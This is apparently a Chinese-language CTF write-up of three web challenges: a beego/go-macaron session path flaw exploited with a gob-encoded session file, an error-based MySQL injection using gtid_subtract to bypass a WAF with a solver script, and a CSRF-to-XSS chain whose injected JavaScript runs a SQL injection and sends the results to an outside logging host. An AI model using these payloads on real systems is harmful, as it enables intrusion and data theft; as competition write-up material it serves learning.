checkin
go的sessionid没有过滤./
的时候导致可以用任意文件作为session,可以在github上面看Nov11的commit
https://github.com/astaxie/beego/pull/3383
go-macaron(https://github.com/go-macaron/session version<0.4.0)
beego(https://github.com/astaxie/beego version<1.11.0)都存在这个洞
给出一个外国选手的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package mainimport ( "github.com/astaxie/beego/session" "log" ) func main () { s := make (map [interface {}]interface {}) s["username" ] = "admin" s["UID" ] = 1 encoded_s, err:= session.EncodeGob(s) if err != nil { log.Fatal(err) } log.Printf("%v" , encoded_s) decoded_s, err := session.DecodeGob(encoded_s) if err != nil { log.Fatal(err) } log.Printf("%v" , decoded_s) }
跑一下poc
1 2 3 blacsheep@Macbook:/home/blacsheep/Tools/MyWebTools/gogs $ go run hatena_poc.go 2018/11/29 19:37:16 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2] 2018/11/29 19:37:16 map[username:admin UID:1]
丢到cyberchef的fromdecimal https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)&input=MTQgMjU1IDEyOSA0IDEgMiAyNTUgMTMwIDAgMSAxNiAxIDE2IDAgMCA2MSAyNTUgMTMwIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDEwIDAgOCAxMTcgMTE1IDEwMSAxMTQgMTEwIDk3IDEwOSAxMDEgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA3IDAgNSA5NyAxMDAgMTA5IDEwNSAxMTAgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA1IDAgMyA4NSA3MyA2OCAzIDEwNSAxMTAgMTE2IDQgMiAwIDI
存个poc.jpg,上传改session,登录到admin
然后adminpanel拿到flag
babySQLiSPA
/api/hints可以注入 难点是绕过
mysql版本5.7.24,大多数几何函数无法使用.polygon可以爆库名和表名,但是没用,得去找flag表
这里mysql5.7之后新增的报错函数有
1 2 3 4 5 6 7 8 9 10 ST_LatFromGeoHash() select ST_LatFromGeoHash(version()); ST_LongFromGeoHash() select ST_LongFromGeoHash(version()); GTID_SUBSET() select GTID_SUBSET(version(),1); GTID_SUBTRACT() select GTID_SUBTRACT(version(),1); ST_PointFromGeoHash() select ST_PointFromGeoHash(version(),1);
需要过的waf
1 2 3 4 5 6 export function checkHint (hint ) { return ! / ;\+-\*\/ <>~!\d%\x09\x0a\x0b\x0c\x0d`gtid_subsethashjsonst\_updatexm lextractvaluefloorrandexpjson_keysuuid_to_binbin_to_uuidunionlike sleepbenchmark/ig .test (hint)}
测试脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import hashlibimport requestsimport reu=requests.session() data= {'password' : 'blacsheep11' , 'username' : 'blacsheep11' }r=u.post('http://47.93.100.42:9999/api/login' ,data=data) print (r.text)def md5 (src ): return hashlib.md5(str (src).encode()).hexdigest() def calc (src ): for i in range (100000000000 ): if md5(i)[:6 ]==str (src): return i while 1 : r=u.get('http://47.93.100.42:9999/api/captcha' ) print (r.text) prefix= re.findall(r'"captcha":"(.{6})"}' ,r.text)[0 ] captcha = calc(prefix) hint=input ('hints:' ) data={'captcha' :captcha,'hint' :hint} r=u.post('http://47.93.100.42:9999/api/hints' ,data=data) print (r.text)
使用gtid_subtract绕过
1 2 hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((table_schema=database()))),''))or' {"error":"Malformed GTID set specification 'FdkuBNGoarFgVBwDjHcZBwwBFKNnkGDrIRubYZZtAGOifUogHPjXLyFhGxPfNWyE,Hints,MztsezsxCgHmgbYoeQGqKteosCHjfpXoGCFVjNPEpIKzFjCPYRmOMQAKgVCuoOZX,TLcLvkgTjVjFvBrUfhsqkZFMcRCVlqzEfTPxujYcwzQDtJRGzFRKqmxxapLckUBI'."}
发现表名一片混乱,和pgg聊天的时候他说nu1l那边一直卡在表名这个地方2333
后来他们限定表名长度来提取的
1 2 hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or' {"error":"Malformed GTID set specification 'vhEFfFlLlLaAAaaggIiIIsSSHeReEE'."}
表名长度30的时候找到flag表,payload有长度限制,所以爆列名的时候稍微改一下payload
1 2 3 4 hints:'gtid_subtract((select(group_concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')# {"error":"Malformed GTID set specification 'ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO'."} hints:'gtid_subtract((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'')# {"error":"Malformed GTID set specification 'BCTF{060950FB-839E-4B57-B91D-51E78F56856F}'."}
SeaFaring1
这题评论的链接会被机器人访问 注意到robots.txt
1 2 User-agent: * Disallow: /admin/handle_message.php
curl一下/admin 发现部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 function view_uid (uid ) { $.ajax ({ type : "POST" , url : "/admin/handle_message.php" , data : {"token" : csrf_token, "action" : "view_uid" , "uid" : uid}, dataType : "json" , success : function (data ) { if (!data["error" ]) { data = data['result' ]; var Status = '' ; $('#timestamp' ).text (data['timestamp' ]); $('#username' ).text (data['user_name' ]); $('#message' ).text (data['message' ]); document .getElementById ("replyuid" ).value =data['uid' ]; if (parseInt (data['is_checked' ]) == 1 ) { Status = '<div style="color:#04FF00">Checked</div>' ; } else { Status = '<div style="color:#FFA500">Not Checked</div>' ; } document .getElementById ("status" ).innerHTML = Status ; } else alert ('Error: ' + data["error" ]); } }); } function view_unreads ( ) { $.ajax ({ type : "POST" , url : "/admin/handle_message.php" , data : {"token" : csrf_token, "action" : "view_unreads" , "status" : 0 }, dataType : "json" , success : function (data ) { if (!data["error" ]) { data = data['result' ]; var html = '' ; var tbody = document .getElementById ("comments" ); for (var i = 0 ; i < data.length ; i++) { var Time = data[i][0 ]; var Username = data[i][1 ]; var Uid = data[i][2 ]; var Status = '' ; if (parseInt (data[i][3 ]) == 1 ) { Status = '<div style="color:#04FF00">Checked</div>' ; } else { Status = '<div style="color:#FFA500">Not Checked</div>' ; } html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>" } tbody.innerHTML = html; } else alert ('Error: ' + data["error" ]); } }); } function set_reply ( ) { var uid = document .getElementById ("replyuid" ).value ; var reply = document .getElementById ("replymessage" ).value ; $.ajax ({ type : "POST" , url : "/admin/handle_message.php" , data : {"token" : csrf_token, "action" : "set_reply" , "uid" : uid, "reply" : reply}, dataType : "json" , success : function (data ) { if (!data["error" ]) { data = data['result' ]; alert ('Succ: ' + data); } else alert ('Error: ' + data["error" ]); } }); } function load_all ( ) { $.ajax ({ type : "POST" , url : "/admin/handle_message.php" , data : {"token" : csrf_token, "action" : "load_all" }, dataType : "json" , success : function (data ) { if (!data["error" ]) { data = data['result' ]; var html = '' ; var tbody = document .getElementById ("comments" ); for (var i = 0 ; i < data.length ; i++) { var Time = data[i][0 ]; var Username = data[i][1 ]; var Uid = data[i][2 ]; var Status = '' ; if (parseInt (data[i][3 ]) == 1 ) { Status = '<div style="color:#04FF00">Checked</div>' ; } else { Status = '<div style="color:#FFA500">Not Checked</div>' ; } html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>" } tbody.innerHTML = html; } else alert ('Error: ' + data["error" ]); } }); } setTimeout (load_all, 1000 );
发现/admin/handle_message.php
存在xss
1 2 blacsheep@Macbook:/home/blacsheep $ curl -X POST -d "token=<img src=1 onerror=alert(/xss/)>&action=view_id&uid=1" 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php' {"result" :"" ,"error" :"CSRFToken '<img src=1 onerror=alert(\/xss\/)>'is not correct" }
构造一个html页面让bot去访问
1 2 3 4 5 6 7 8 9 10 11 12 13 <html> <script> window.onload =function(){ document.getElementById("f").submit(); } </script> <form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php" id="f"> <input type="hidden" name="token" value="<script src=http://t.cn/ELTmXGg></script><script src=http://localhost/bctf_evil_oqwej98czc.js></script>"> <input type="hidden" name="action" value="view_id"> <input type="hidden" name="uid" value="1"> </form> </html>
外部引入的js文件(改自Nu1l的师傅)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function req (url,data ){ var xhr = new XMLHttpRequest (); xhr.open ("POST" ,url,false ); xhr.setRequestHeader ("Content-Type" ,"application/x-www-formurlencoded" ); xhr.send (data); var resp = xhr.responseText ; return resp; } function get_csrf_token ( ){ var xhr = new XMLHttpRequest (); xhr.open ("GET" ,"http://seafaring.xctf.org.cn:9999/admin/index.php" ,false ); xhr.send (); var res = xhr.responseText ; var csrftoken = res.match (/csrf_token = \"([a-z0-9]*)\"/ig )[0 ].split ('="' )[1 ].replace ('"' ,'' ); return csrftoken; } function send (data ){ location.href = "http://localhost/log.php?data=" +escape (data); } var ress=req ("http://172.20.0.2:6379/" ,"token=" +get_csrf_token ()+"&action=view_unreads&status=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65742f617270%29%2C3%2C4%20from%20f111111ag%23" );send (ress);
然后就可以在vps上面收结果了 不过复现的时候发现并没有收到结果
看了下日志发现bot只是访问了csrf页面而并没有载入js文件...不太清楚原因
访问成功之后就发现是个后台的sql注入
1 2 3 {"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1\\'or 1#' ORDER BY id DESC "}
用了addslashes,但是有一个接口是整形注入
1 2 3 {"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=1\\' ORDER BY id DESC limit 0,50"}
直接跑就拿到flag
1 {"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}
自己做的时候发现的xss是登录界面的xss...没发现后台的token可以xss...登录处的触发需要撞验证码...所以post了几百个包..后来发现bot访问地超级慢第二天就被查水表2333...
不过思路没啥问题,csrf控制bot去触发xss载入js文件,当时想法是如果打到xss看下后台页面存不存在其他有用的东西,不过xss找错了,很可惜...不过反正也不会csrf...收了Nu1l师傅的csrfpayload了ORZ